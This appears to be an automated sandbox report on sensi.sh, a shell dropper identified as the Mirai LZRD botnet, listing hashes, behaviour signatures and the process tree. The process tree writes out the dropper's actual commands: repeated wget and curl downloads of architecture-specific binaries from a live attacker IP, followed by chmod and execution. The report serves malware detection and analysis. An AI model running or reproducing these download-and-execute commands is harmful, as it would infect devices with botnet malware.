Overview

overview

10

Static

static

1

sensi.sh

ubuntu-18.04-amd64

10

sensi.sh

debian-9-armhf

10

sensi.sh

debian-9-mips

10

sensi.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    15-01-2025 06:55

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sensi.sh

  • Size

    1KB

  • MD5

    b56a0716f8b4b73b0e35ebd7b66c03fa

  • SHA1

    d9711b6f58091fd794bf341dd7237136436a4a74

  • SHA256

    81bceab3472a818b061caa7d8d0bab3171bed77a3b5b86ceffae3fd2d16be12b

  • SHA512

    8bf2d0b7cd72d77fa84ab03edc5ac7e217bd122ffabbe370d3f5a10333e22ea44ab0c151c2b76dd9f819341b0eb0f48acce2b0c2b7391bc8a19e44df0c6e23aa

Score
10/10
mirailzrdantivmbotnetdefense_evasiondiscoveryupx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (19113) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 62 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sensi.sh
    /tmp/sensi.sh
    1⤵
    • Writes file to tmp directory
    PID:638
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:640
    • /usr/bin/wget
      wget http://45.13.151.59/d/xd.x86
      2⤵
      • Writes file to tmp directory
      PID:643
    • /usr/bin/curl
      curl -O http://45.13.151.59/d/xd.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:661
    • /bin/cat
      cat xd.x86
      2⤵
        PID:668
      • /bin/chmod
        chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:669
      • /tmp/SSH
        ./SSH
        2⤵
        • Executes dropped EXE
        PID:670
      • /usr/bin/wget
        wget http://45.13.151.59/d/xd.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:673
      • /usr/bin/curl
        curl -O http://45.13.151.59/d/xd.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:676
      • /bin/cat
        cat xd.mips
        2⤵
        • System Network Configuration Discovery
        PID:677
      • /bin/chmod
        chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.mips xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:678
      • /tmp/SSH
        ./SSH
        2⤵
        • Executes dropped EXE
        PID:679
      • /usr/bin/wget
        wget http://45.13.151.59/d/xd.mpsl
        2⤵
        • Writes file to tmp directory
        PID:682
      • /usr/bin/curl
        curl -O http://45.13.151.59/d/xd.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:689
      • /bin/cat
        cat xd.mpsl
        2⤵
          PID:696
        • /bin/chmod
          chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          PID:699
        • /usr/bin/wget
          wget http://45.13.151.59/d/xd.arm4
          2⤵
            PID:701
          • /usr/bin/curl
            curl -O http://45.13.151.59/d/xd.arm4
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:707
          • /bin/cat
            cat xd.arm4
            2⤵
              PID:713
            • /bin/chmod
              chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.arm4 xd.mips xd.mpsl xd.x86
              2⤵
              • File and Directory Permissions Modification
              PID:714
            • /tmp/SSH
              ./SSH
              2⤵
              • Executes dropped EXE
              PID:716
            • /usr/bin/wget
              wget http://45.13.151.59/d/xd.arm5
              2⤵
              • Writes file to tmp directory
              PID:717
            • /usr/bin/curl
              curl -O http://45.13.151.59/d/xd.arm5
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:724
            • /bin/cat
              cat xd.arm5
              2⤵
                PID:734
              • /bin/chmod
                chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x86
                2⤵
                • File and Directory Permissions Modification
                PID:735
              • /tmp/SSH
                ./SSH
                2⤵
                • Executes dropped EXE
                PID:737
              • /usr/bin/wget
                wget http://45.13.151.59/d/xd.arm6
                2⤵
                • Writes file to tmp directory
                PID:738
              • /usr/bin/curl
                curl -O http://45.13.151.59/d/xd.arm6
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:743
              • /bin/cat
                cat xd.arm6
                2⤵
                  PID:744
                • /bin/chmod
                  chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:745
                • /tmp/SSH
                  ./SSH
                  2⤵
                  • Executes dropped EXE
                  • Reads runtime system information
                  PID:746
                • /usr/bin/wget
                  wget http://45.13.151.59/d/xd.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:747
                • /usr/bin/curl
                  curl -O http://45.13.151.59/d/xd.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:752
                • /bin/cat
                  cat xd.arm7
                  2⤵
                    PID:761
                  • /bin/chmod
                    chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:763
                  • /tmp/SSH
                    ./SSH
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:765
                  • /usr/bin/wget
                    wget http://45.13.151.59/d/xd.ppc
                    2⤵
                    • Writes file to tmp directory
                    PID:769
                  • /usr/bin/curl
                    curl -O http://45.13.151.59/d/xd.ppc
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:778
                  • /bin/cat
                    cat xd.ppc
                    2⤵
                      PID:787
                    • /bin/chmod
                      chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:788
                    • /tmp/SSH
                      ./SSH
                      2⤵
                      • Executes dropped EXE
                      PID:789
                    • /usr/bin/wget
                      wget http://45.13.151.59/d/xd.m68k
                      2⤵
                      • Writes file to tmp directory
                      PID:791
                    • /usr/bin/curl
                      curl -O http://45.13.151.59/d/xd.m68k
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:796
                    • /bin/cat
                      cat xd.m68k
                      2⤵
                        PID:801
                      • /bin/chmod
                        chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:802
                      • /tmp/SSH
                        ./SSH
                        2⤵
                        • Executes dropped EXE
                        PID:803
                      • /usr/bin/wget
                        wget http://45.13.151.59/d/xd.sh4
                        2⤵
                        • Writes file to tmp directory
                        PID:805
                      • /usr/bin/curl
                        curl -O http://45.13.151.59/d/xd.sh4
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:806
                      • /bin/cat
                        cat xd.sh4
                        2⤵
                          PID:807
                        • /bin/chmod
                          chmod +x busybox sensi.sh SSH systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-wYfzmX xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x86
                          2⤵
                          • File and Directory Permissions Modification
                          PID:808
                        • /tmp/SSH
                          ./SSH
                          2⤵
                          • Executes dropped EXE
                          PID:809

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/SSH
                        Filesize

                        30KB

                        MD5

                        9eb3c4ba27a4fc327989972849b38ec5

                        SHA1

                        9c548f624b37f3526dd7852b604bdbf30f62a818

                        SHA256

                        a964b7ee00bf9c8c260d94a396558f91087e0cc108574abc9d859178be992001

                        SHA512

                        f811a849cd3fda6f106afd4eb15a39adad7c4d34087311e93e446a90aa4e616a7b7a034fd13ddf6eb1681ad5dbdb10643a97dedbf6167125227524ac9497ed76

                        Download Submit

                      • /tmp/SSH
                        Filesize

                        31KB

                        MD5

                        25fd2c6601a15a434f1c292b7c4b1276

                        SHA1

                        54dfaa46b67dc80ccc9a9eec6a7f9e689277097f

                        SHA256

                        cd2e4527cedd13f92655f0ba0ef81ef8c096b9fe95b292bfa958ef58b59c0d8f

                        SHA512

                        1e046a98791ae2f5af7bcac041c30f422c221dde9d254f91d1bf67858234c4b6d81328c25ee642702c4a85b698cace7d2b6c338fcce1b41cfdf7f2087792d1a5

                        Download Submit

                      • /tmp/SSH
                        Filesize

                        196B

                        MD5

                        62962daa1b19bbcc2db10b7bfd531ea6

                        SHA1

                        d64bae91091eda6a7532ebec06aa70893b79e1f8

                        SHA256

                        80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880

                        SHA512

                        9002a0475fdb38541e78048709006926655c726e93e823b84e2dbf5b53fd539a5342e7266447d23db0e5528e27a19961b115b180c94f2272ff124c7e5c8304e7

                        Download Submit

                      • /tmp/SSH
                        Filesize

                        25KB

                        MD5

                        1eef15ca6184628b54671389f25d9074

                        SHA1

                        7e4c479458507f94e58cf1948dd55edf9c7955f6

                        SHA256

                        345d632c1f9def9685aaa29c9cf12a71c8d09f1126ec587cd18755ef26d3d941

                        SHA512

                        4bd484a4e688638357d5301a66f56bc4f4a269beeae49f44b7abf83186b332b536e2806077a14200f9b4d12bc09f4f6e12a9f23b5bcb905ccc4924eb473e165b

                        Download Submit

                      • /tmp/SSH
                        Filesize

                        62KB

                        MD5

                        2be35a4be977b729f473abed043e2016

                        SHA1

                        843f1cc5bf80672fdccf966eb3157ed82edad35c

                        SHA256

                        379780768184200e4533d0b62e1886a95902db29010acc12ab85d43fd33bec71

                        SHA512

                        4d2e50aa8bb237a158d08bf845256c5f417746a1846c41cb05d0abdc71e6d491ac23b52d042ef61de25788d6af6afed88b893313b83feae3f8bb82a7df9afc2d

                        Download Submit

                      • /tmp/busybox
                        Filesize

                        507KB

                        MD5

                        e588bcf03ae78237b58899d35f50c570

                        SHA1

                        2194732ebbefbc27bdae876c77f2a97a20175710

                        SHA256

                        2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

                        SHA512

                        904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555

                        Download Submit

                      • /tmp/xd.x86
                        Filesize

                        29KB

                        MD5

                        cb02e84a85813c662f7191cc1d19685f

                        SHA1

                        59ad600226c432b1b8c3a077be7a6c280c2da1a1

                        SHA256

                        3aff058d7b58eb91ccde83818aae5dd597aae06d96ab89c080c0a3d88f877f31

                        SHA512

                        ea9bea2cb21045791f611089d04714ef109dfc77d462763811bd4ce0dfeae93e7b6bd26637ccfc32e840504de17bf7da45ec29f0639f724de77ea985226e2f82

                        Download Submit